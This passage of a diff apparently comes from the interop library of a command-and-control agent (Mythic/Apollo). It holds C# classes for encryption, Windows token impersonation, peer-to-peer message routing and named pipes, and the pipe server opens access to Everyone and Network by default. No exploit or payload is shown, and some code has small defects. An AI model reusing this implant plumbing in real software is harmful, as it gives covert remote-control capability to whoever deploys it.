// Create the streams used for encryption.
|
||||
using (MemoryStream msEncrypt = new MemoryStream())
|
||||
{
|
||||
using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
|
||||
{
|
||||
csEncrypt.Write(plaintext, 0, plaintext.Length);
|
||||
}
|
||||
encrypted = msEncrypt.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
// Return the encrypted bytes from the memory stream.
|
||||
return encrypted;
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] encrypted)
|
||||
{
|
||||
byte[] plaintext;
|
||||
// Create an Aes object
|
||||
// with the specified key and IV.
|
||||
using (Aes aesAlg = Aes.Create())
|
||||
{
|
||||
aesAlg.Key = _aes.Key;
|
||||
aesAlg.IV = _aes.IV;
|
||||
|
||||
// Create a decryptor to perform the stream transform.
|
||||
ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
|
||||
|
||||
// Create the streams used for decryption.
|
||||
using (MemoryStream msDecrypt = new MemoryStream(encrypted))
|
||||
{
|
||||
using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
|
||||
{
|
||||
using (BinaryReader brDecrypt = new BinaryReader(csDecrypt))
|
||||
{
|
||||
plaintext = brDecrypt.ReadBytes((int)msDecrypt.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return plaintext;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System;
|
||||
using System.Text;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
abstract public class CryptographyProvider : ICryptography
|
||||
{
|
||||
public byte[] PSK { get; private set; }
|
||||
protected byte[] UUID { get; private set; }
|
||||
public bool UUIDUpdated { get; private set; } = false;
|
||||
|
||||
public CryptographyProvider(string uuid, string key)
|
||||
{
|
||||
PSK = Convert.FromBase64String(key);
|
||||
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
|
||||
}
|
||||
|
||||
// UUID should only be updated once after agent registration.
|
||||
public bool UpdateUUID(string uuid)
|
||||
{
|
||||
UUID = ASCIIEncoding.ASCII.GetBytes(uuid);
|
||||
UUIDUpdated = true;
|
||||
return true;
|
||||
}
|
||||
|
||||
virtual public bool UpdateKey(string key)
|
||||
{
|
||||
PSK = Convert.FromBase64String(key);
|
||||
return true;
|
||||
}
|
||||
|
||||
public virtual string GetUUID()
|
||||
{
|
||||
return ASCIIEncoding.ASCII.GetString(UUID);
|
||||
}
|
||||
|
||||
public abstract string Encrypt(string plaintext);
|
||||
|
||||
public abstract string Decrypt(string ciphertext);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.Security.Cryptography;
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes.Cryptography
|
||||
{
|
||||
public class DpapiRoutine : ICryptographicRoutine
|
||||
{
|
||||
private readonly byte[] _additionalEntropy;
|
||||
private readonly DataProtectionScope _scope;
|
||||
public DpapiRoutine(byte[] additionalEntropy, DataProtectionScope scope = DataProtectionScope.CurrentUser)
|
||||
{
|
||||
_additionalEntropy = additionalEntropy;
|
||||
_scope = scope;
|
||||
}
|
||||
|
||||
public DpapiRoutine(DataProtectionScope scope = DataProtectionScope.CurrentUser)
|
||||
{
|
||||
_scope = scope;
|
||||
_additionalEntropy = null;
|
||||
}
|
||||
|
||||
public byte[] Encrypt(byte[] data)
|
||||
{
|
||||
return ProtectedData.Protect(data, _additionalEntropy, _scope);
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] data)
|
||||
{
|
||||
return ProtectedData.Unprotect(data, _additionalEntropy, _scope);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
using System;
|
||||
using System.Linq;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public abstract class RSAKeyGenerator
|
||||
{
|
||||
public string SessionId { get; private set; }
|
||||
public RSACryptoServiceProvider RSA { get; protected set; }
|
||||
public RSAKeyGenerator(int szKey)
|
||||
{
|
||||
SessionId = GenerateSessionId();
|
||||
}
|
||||
|
||||
public RSAKeyGenerator(RSACryptoServiceProvider provider)
|
||||
{
|
||||
SessionId = GenerateSessionId();
|
||||
RSA = provider;
|
||||
}
|
||||
|
||||
public virtual string GenerateSessionId()
|
||||
{
|
||||
Random random = new Random((int)DateTime.UtcNow.Ticks);
|
||||
const string chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
|
||||
return new string(Enumerable.Repeat(chars, 20)
|
||||
.Select(s => s[random.Next(s.Length)]).ToArray());
|
||||
}
|
||||
|
||||
public abstract string ExportPublicKey();
|
||||
public abstract string ExportPrivateKey();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
|
||||
namespace ApolloInterop.Classes.Cryptography
|
||||
{
|
||||
public class XorRoutine : ICryptographicRoutine
|
||||
{
|
||||
private byte[] _key;
|
||||
|
||||
public XorRoutine(byte[] key = null)
|
||||
{
|
||||
if (key == null)
|
||||
{
|
||||
_key = System.Guid.NewGuid().ToByteArray();
|
||||
}
|
||||
}
|
||||
|
||||
private byte[] Xor(byte[] input)
|
||||
{
|
||||
int j = 0;
|
||||
for (int i = 0; i < input.Length; i++, j++)
|
||||
{
|
||||
if (j == _key.Length)
|
||||
{
|
||||
j = 0;
|
||||
}
|
||||
input[i] = (byte)(input[i] ^ _key[j]);
|
||||
}
|
||||
|
||||
return input;
|
||||
}
|
||||
|
||||
public byte[] Encrypt(byte[] data)
|
||||
{
|
||||
return Xor(data);
|
||||
}
|
||||
|
||||
public byte[] Decrypt(byte[] data)
|
||||
{
|
||||
return Xor(data);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Events
|
||||
{
|
||||
public class ChunkMessageEventArgs<T> : EventArgs where T : IChunkMessage
|
||||
{
|
||||
public T[] Chunks;
|
||||
|
||||
public ChunkMessageEventArgs(T[] chunks)
|
||||
{
|
||||
Chunks = chunks;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Events
|
||||
{
|
||||
public class MythicMessageEventArgs : EventArgs
|
||||
{
|
||||
public IMythicMessage Message;
|
||||
|
||||
public MythicMessageEventArgs(IMythicMessage msg) => Message = msg;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Events
|
||||
{
|
||||
public class StringDataEventArgs : EventArgs
|
||||
{
|
||||
public string Data;
|
||||
|
||||
public StringDataEventArgs(string d)
|
||||
{
|
||||
Data = d;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,13 @@
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class UUIDEventArgs : EventArgs
|
||||
{
|
||||
public readonly string UUID;
|
||||
public UUIDEventArgs(string uuid)
|
||||
{
|
||||
UUID = uuid;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,188 @@
|
||||
using ApolloInterop.Classes.Events;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
namespace ApolloInterop.Classes.IO
|
||||
{
|
||||
public class EventableStringWriter : StringWriter
|
||||
{
|
||||
public event EventHandler<StringDataEventArgs> BufferWritten;
|
||||
|
||||
public override void Write(string value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value));
|
||||
}
|
||||
|
||||
public override void Write(char[] buffer, int index, int count)
|
||||
{
|
||||
string value = new string(buffer.Skip(index).Take(count).ToArray());
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value));
|
||||
}
|
||||
|
||||
public override void Write(char[] buffer)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer)));
|
||||
}
|
||||
|
||||
public override void Write(bool value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(int value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(uint value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(long value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(ulong value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(float value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(double value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(decimal value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(object value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void Write(string format, object arg0)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0)));
|
||||
}
|
||||
|
||||
public override void Write(string format, object arg0, object arg1)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1)));
|
||||
}
|
||||
|
||||
public override void Write(string format, object arg0, object arg1, object arg2)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2)));
|
||||
}
|
||||
|
||||
public override void Write(string format, params object[] arg)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg)));
|
||||
}
|
||||
|
||||
public override void Write(char value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString()));
|
||||
}
|
||||
|
||||
public override void WriteLine(char[] buffer, int index, int count)
|
||||
{
|
||||
string value = new string(buffer.Skip(0).Take(count).ToArray());
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine()
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs("\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(char value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(char[] buffer)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(new string(buffer) + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(bool value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(int value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(uint value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(long value)
|
||||
{
|
||||
}
|
||||
|
||||
public override void WriteLine(ulong value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(float value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(double value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(decimal value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(string value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(object value)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(value.ToString() + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(string format, object arg0)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0) + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(string format, object arg0, object arg1)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1) + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(string format, object arg0, object arg1, object arg2)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg0, arg1, arg2) + "\r\n"));
|
||||
}
|
||||
|
||||
public override void WriteLine(string format, params object[] arg)
|
||||
{
|
||||
BufferWritten?.Invoke(this, new StringDataEventArgs(string.Format(format, arg) + "\r\n"));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
using System;
|
||||
using System.Security.Principal;
|
||||
|
||||
namespace ApolloInterop.Classes.Impersonation
|
||||
{
|
||||
public static class ImpersonationScope
|
||||
{
|
||||
public static void Run(WindowsIdentity identity, Action action)
|
||||
{
|
||||
if (identity == null)
|
||||
throw new ArgumentNullException(nameof(identity));
|
||||
if (action == null)
|
||||
throw new ArgumentNullException(nameof(action));
|
||||
|
||||
using (identity.Impersonate())
|
||||
{
|
||||
action();
|
||||
}
|
||||
}
|
||||
|
||||
public static T Run<T>(WindowsIdentity identity, Func<T> action)
|
||||
{
|
||||
if (identity == null)
|
||||
throw new ArgumentNullException(nameof(identity));
|
||||
if (action == null)
|
||||
throw new ArgumentNullException(nameof(action));
|
||||
|
||||
using (identity.Impersonate())
|
||||
{
|
||||
return action();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,54 @@
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Classes.Impersonation
|
||||
{
|
||||
[Flags]
|
||||
public enum PrivilegeAttributes : uint
|
||||
{
|
||||
SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001,
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002,
|
||||
SE_PRIVILEGE_REMOVED = 0x00000004,
|
||||
SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
|
||||
}
|
||||
|
||||
public enum TokenPrivilege
|
||||
{
|
||||
Unknown = -1,
|
||||
SeAssignPrimaryTokenPrivilege,
|
||||
SeAuditPrivilege,
|
||||
SeBackupPrivilege,
|
||||
SeChangeNotifyPrivilege,
|
||||
SeCreateGlobalPrivilege,
|
||||
SeCreatePagefilePrivilege,
|
||||
SeCreatePermanentPrivilege,
|
||||
SeCreateSymbolicLinkPrivilege,
|
||||
SeCreateTokenPrivilege,
|
||||
SeDebugPrivilege,
|
||||
SeDelegateSessionUserImpersonatePrivilege,
|
||||
SeEnableDelegationPrivilege,
|
||||
SeImpersonatePrivilege,
|
||||
SeIncreaseBasePriorityPrivilege,
|
||||
SeIncreaseQuotaPrivilege,
|
||||
SeIncreaseWorkingSetPrivilege,
|
||||
SeLoadDriverPrivilege,
|
||||
SeLockMemoryPrivilege,
|
||||
SeMachineAccountPrivilege,
|
||||
SeManageVolumePrivilege,
|
||||
SeProfileSingleProcessPrivilege,
|
||||
SeRelabelPrivilege,
|
||||
SeRemoteShutdownPrivilege,
|
||||
SeRestorePrivilege,
|
||||
SeSecurityPrivilege,
|
||||
SeShutdownPrivilege,
|
||||
SeSyncAgentPrivilege,
|
||||
SeSystemEnvironmentPrivilege,
|
||||
SeSystemProfilePrivilege,
|
||||
SeSystemtimePrivilege,
|
||||
SeTakeOwnershipPrivilege,
|
||||
SeTcbPrivilege,
|
||||
SeTimeZonePrivilege,
|
||||
SeTrustedCredManAccessPrivilege,
|
||||
SeUndockPrivilege,
|
||||
SeUnsolicitedInputPrivilege
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,117 @@
|
||||
using ApolloInterop.Classes.Core;
|
||||
using ApolloInterop.Classes.Events;
|
||||
using ApolloInterop.Enums.ApolloEnums;
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Serializers;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace ApolloInterop.Classes.P2P
|
||||
{
|
||||
public abstract class Peer : IPeer
|
||||
{
|
||||
public string C2ProfileName { get; protected set; }
|
||||
protected IAgent _agent;
|
||||
protected ISerializer _serializer;
|
||||
protected PeerInformation _peerInfo;
|
||||
protected string _uuid;
|
||||
protected string _mythicUUID;
|
||||
protected bool _previouslyConnected;
|
||||
public event EventHandler<UUIDEventArgs> UUIDNegotiated;
|
||||
protected ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>> _messageOrganizer = new ConcurrentDictionary<string, ChunkedMessageStore<IPCChunkedData>>();
|
||||
protected ConcurrentQueue<byte[]> _senderQueue = new ConcurrentQueue<byte[]>();
|
||||
protected AutoResetEvent _senderEvent = new AutoResetEvent(false);
|
||||
protected MessageType _serverResponseType;
|
||||
|
||||
public event EventHandler<EventArgs> ConnectionEstablished;
|
||||
public event EventHandler<EventArgs> Disconnect;
|
||||
protected CancellationTokenSource _cts = new CancellationTokenSource();
|
||||
|
||||
public Peer(IAgent agent, PeerInformation data, ISerializer serializer = null)
|
||||
{
|
||||
_agent = agent;
|
||||
_peerInfo = data;
|
||||
_uuid = agent.GetApi().NewUUID();
|
||||
_previouslyConnected = false;
|
||||
if (serializer == null)
|
||||
{
|
||||
_serializer = new JsonSerializer();
|
||||
}
|
||||
}
|
||||
protected virtual void OnUUIDNegotiated(object sender, UUIDEventArgs args)
|
||||
{
|
||||
if (UUIDNegotiated != null)
|
||||
{
|
||||
UUIDNegotiated(sender, args);
|
||||
}
|
||||
}
|
||||
|
||||
public virtual void OnConnectionEstablished(object sender, EventArgs args)
|
||||
{
|
||||
ConnectionEstablished?.Invoke(sender, args);
|
||||
}
|
||||
|
||||
public virtual void OnDisconnect(object sender, EventArgs args)
|
||||
{
|
||||
Disconnect?.Invoke(sender, args);
|
||||
}
|
||||
|
||||
public abstract bool Start();
|
||||
public abstract void Stop();
|
||||
public abstract bool Connected();
|
||||
public virtual void ProcessMessage(DelegateMessage message)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(message.MythicUUID) &&
|
||||
message.MythicUUID != _uuid)
|
||||
{
|
||||
_mythicUUID = message.MythicUUID;
|
||||
OnUUIDNegotiated(this, new UUIDEventArgs(_mythicUUID));
|
||||
_uuid = _mythicUUID;
|
||||
}
|
||||
_senderQueue.Enqueue(Encoding.UTF8.GetBytes(message.Message));
|
||||
_senderEvent.Set();
|
||||
}
|
||||
|
||||
public void DeserializeToReceiver(object sender, ChunkMessageEventArgs<IPCChunkedData> args)
|
||||
{
|
||||
MessageType mt = args.Chunks[0].Message;
|
||||
List<byte> data = new List<byte>();
|
||||
|
||||
for(int i = 0; i < args.Chunks.Length; i++)
|
||||
{
|
||||
data.AddRange(Convert.FromBase64String(args.Chunks[i].Data));
|
||||
}
|
||||
// Probably where we do sorting based on EKE,
|
||||
// checkin, and get_tasking
|
||||
switch (mt)
|
||||
{
|
||||
// part of the checkin process, flag next message to be of EKE
|
||||
case MessageType.EKEHandshakeMessage:
|
||||
_serverResponseType = MessageType.EKEHandshakeResponse;
|
||||
break;
|
||||
default:
|
||||
_serverResponseType = MessageType.MessageResponse;
|
||||
break;
|
||||
}
|
||||
_agent.GetTaskManager().AddDelegateMessageToQueue(new DelegateMessage()
|
||||
{
|
||||
UUID = _uuid,
|
||||
C2Profile = C2ProfileName,
|
||||
Message = Encoding.UTF8.GetString(data.ToArray())
|
||||
});
|
||||
}
|
||||
|
||||
public virtual string GetUUID() { return _uuid; }
|
||||
public virtual string GetMythicUUID() { return _mythicUUID; }
|
||||
public abstract bool Finished();
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using ApolloInterop.Interfaces;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
using System.Collections.Concurrent;
|
||||
|
||||
namespace ApolloInterop.Classes.P2P
|
||||
{
|
||||
public abstract class PeerManager : IPeerManager
|
||||
{
|
||||
protected ConcurrentDictionary<string, IPeer> _peers = new ConcurrentDictionary<string, IPeer>();
|
||||
protected IAgent _agent;
|
||||
public PeerManager(IAgent agent)
|
||||
{
|
||||
_agent = agent;
|
||||
}
|
||||
|
||||
public abstract Peer AddPeer(PeerInformation info);
|
||||
public virtual bool Remove(string uuid)
|
||||
{
|
||||
bool bRet = true;
|
||||
if (_peers.ContainsKey(uuid))
|
||||
{
|
||||
bRet = _peers.TryRemove(uuid, out var p);
|
||||
if (bRet)
|
||||
{
|
||||
p.Stop();
|
||||
}
|
||||
}
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
public virtual bool Remove(IPeer peer)
|
||||
{
|
||||
return Remove(peer.GetUUID());
|
||||
}
|
||||
|
||||
public abstract bool Route(DelegateMessage msg);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using ApolloInterop.Constants;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using System;
|
||||
using System.IO.Pipes;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class AsyncNamedPipeClient
|
||||
{
|
||||
private readonly NamedPipeClientStream _pipe;
|
||||
public event EventHandler<NamedPipeMessageArgs> MessageReceived;
|
||||
public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
|
||||
public event EventHandler<NamedPipeMessageArgs> Disconnect;
|
||||
public AsyncNamedPipeClient(string host, string pipename)
|
||||
{
|
||||
_pipe = new NamedPipeClientStream(
|
||||
host,
|
||||
pipename,
|
||||
PipeDirection.InOut,
|
||||
PipeOptions.Asynchronous | PipeOptions.WriteThrough
|
||||
);
|
||||
}
|
||||
|
||||
public bool Connect(Int32 msTimeout)
|
||||
{
|
||||
try
|
||||
{
|
||||
_pipe.Connect(msTimeout);
|
||||
// Client times out, so fail.
|
||||
} catch { return false; }
|
||||
_pipe.ReadMode = PipeTransmissionMode.Message;
|
||||
IPCData pd = new IPCData()
|
||||
{
|
||||
Pipe = _pipe,
|
||||
State = _pipe,
|
||||
Data = new byte[IPC.RECV_SIZE],
|
||||
};
|
||||
OnConnectionEstablished(new NamedPipeMessageArgs(_pipe, pd, pd.State));
|
||||
BeginRead(pd);
|
||||
return true;
|
||||
}
|
||||
|
||||
public void BeginRead(IPCData pd)
|
||||
{
|
||||
bool isConnected = pd.Pipe.IsConnected;
|
||||
if (isConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
|
||||
} catch (Exception ex)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"got exception for named pipe: {ex}");
|
||||
isConnected = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!isConnected)
|
||||
{
|
||||
pd.Pipe.Close();
|
||||
DebugHelp.DebugWriteLine($"disconnecting on named pipe");
|
||||
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnAsyncMessageReceived(IAsyncResult result)
|
||||
{
|
||||
// read from client until complete
|
||||
IPCData pd = (IPCData)result.AsyncState;
|
||||
try{
|
||||
Int32 bytesRead = pd.Pipe.EndRead(result);
|
||||
if (bytesRead > 0)
|
||||
{
|
||||
pd.DataLength = bytesRead;
|
||||
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
|
||||
} else
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"closing pipe in OnAsyncMessageReceived with 0 bytesRead");
|
||||
pd.Pipe.Close();
|
||||
}
|
||||
BeginRead(pd);
|
||||
}catch(Exception ex){
|
||||
DebugHelp.DebugWriteLine($"error reading from named pipe: {ex}");
|
||||
pd.Pipe.Close();
|
||||
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnConnectionEstablished(NamedPipeMessageArgs args)
|
||||
{
|
||||
ConnectionEstablished?.Invoke(this, args);
|
||||
}
|
||||
|
||||
private void OnMessageReceived(NamedPipeMessageArgs args)
|
||||
{
|
||||
MessageReceived?.Invoke(this, args);
|
||||
}
|
||||
|
||||
private void OnDisconnect(NamedPipeMessageArgs args)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"OnDisconnect");
|
||||
Disconnect?.Invoke(this, args);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,185 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO.Pipes;
|
||||
using System.Security.AccessControl;
|
||||
using System.Security.Principal;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class AsyncNamedPipeServer
|
||||
{
|
||||
private bool _running = true;
|
||||
|
||||
private readonly string _pipeName;
|
||||
private readonly PipeSecurity _pipeSecurity;
|
||||
private readonly int _BUF_IN;
|
||||
private readonly int _BUF_OUT;
|
||||
private readonly int _maxInstances;
|
||||
|
||||
private ConcurrentDictionary<PipeStream, IPCData> _connections = new();
|
||||
|
||||
public event EventHandler<NamedPipeMessageArgs> ConnectionEstablished;
|
||||
public event EventHandler<NamedPipeMessageArgs> MessageReceived;
|
||||
public event EventHandler<NamedPipeMessageArgs> Disconnect;
|
||||
|
||||
public AsyncNamedPipeServer(string pipename, PipeSecurity ps = null, int instances=1, int BUF_IN=4096, int BUF_OUT=4096)
|
||||
{
|
||||
_pipeName = pipename;
|
||||
_BUF_IN = BUF_IN;
|
||||
_BUF_OUT = BUF_OUT;
|
||||
_maxInstances = instances;
|
||||
if (ps == null)
|
||||
{
|
||||
_pipeSecurity = new PipeSecurity();
|
||||
PipeAccessRule multipleInstances = new PipeAccessRule(WindowsIdentity.GetCurrent().Name, PipeAccessRights.CreateNewInstance, AccessControlType.Allow);
|
||||
PipeAccessRule everyoneAllowedRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
|
||||
PipeAccessRule networkAllowRule = new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.NetworkSid, null), PipeAccessRights.ReadWrite, AccessControlType.Allow);
|
||||
_pipeSecurity.AddAccessRule(multipleInstances);
|
||||
_pipeSecurity.AddAccessRule(everyoneAllowedRule);
|
||||
_pipeSecurity.AddAccessRule(networkAllowRule);
|
||||
}
|
||||
|
||||
for(int i = 0; i < _maxInstances; i++)
|
||||
{
|
||||
CreateServerPipe();
|
||||
}
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
_running = false;
|
||||
foreach (var pipe in _connections.Keys)
|
||||
{
|
||||
pipe.Close();
|
||||
}
|
||||
while(true)
|
||||
{
|
||||
int count = _connections.Count;
|
||||
if (count == 0)
|
||||
break;
|
||||
System.Threading.Thread.Sleep(5);
|
||||
}
|
||||
}
|
||||
|
||||
private void CreateServerPipe()
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"Creating Named Pipe: {_pipeName}");
|
||||
NamedPipeServerStream pipe = new NamedPipeServerStream(
|
||||
_pipeName,
|
||||
PipeDirection.InOut,
|
||||
-1,
|
||||
PipeTransmissionMode.Message,
|
||||
PipeOptions.Asynchronous | PipeOptions.WriteThrough,
|
||||
_BUF_IN,
|
||||
_BUF_OUT,
|
||||
_pipeSecurity
|
||||
);
|
||||
//NamedPipeServerStream pipe = new NamedPipeServerStream(_pipeName, PipeDirection.InOut, -1, PipeTransmissionMode.Message, PipeOptions.Asynchronous);
|
||||
// wait for client to connect async
|
||||
try
|
||||
{
|
||||
pipe.BeginWaitForConnection(OnClientConnected, pipe);
|
||||
}catch(Exception ex)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private bool IsPersistentConnectionAsync(NamedPipeServerStream pipeServer)
|
||||
{
|
||||
// Try to complete the read task within the timeout
|
||||
var completedTask = Task.WhenAny(
|
||||
Task.Delay(500)
|
||||
);
|
||||
return pipeServer.IsConnected;
|
||||
}
|
||||
|
||||
|
||||
private void OnConnect(NamedPipeMessageArgs args)
|
||||
{
|
||||
ConnectionEstablished?.Invoke(this, args);
|
||||
}
|
||||
|
||||
private void OnMessageReceived(NamedPipeMessageArgs args)
|
||||
{
|
||||
MessageReceived?.Invoke(this, args);
|
||||
}
|
||||
|
||||
private void OnDisconnect(NamedPipeMessageArgs args)
|
||||
{
|
||||
DebugHelp.DebugWriteLine($"Client disconnected from Named Pipe: {_pipeName}");
|
||||
Disconnect?.Invoke(this, args);
|
||||
}
|
||||
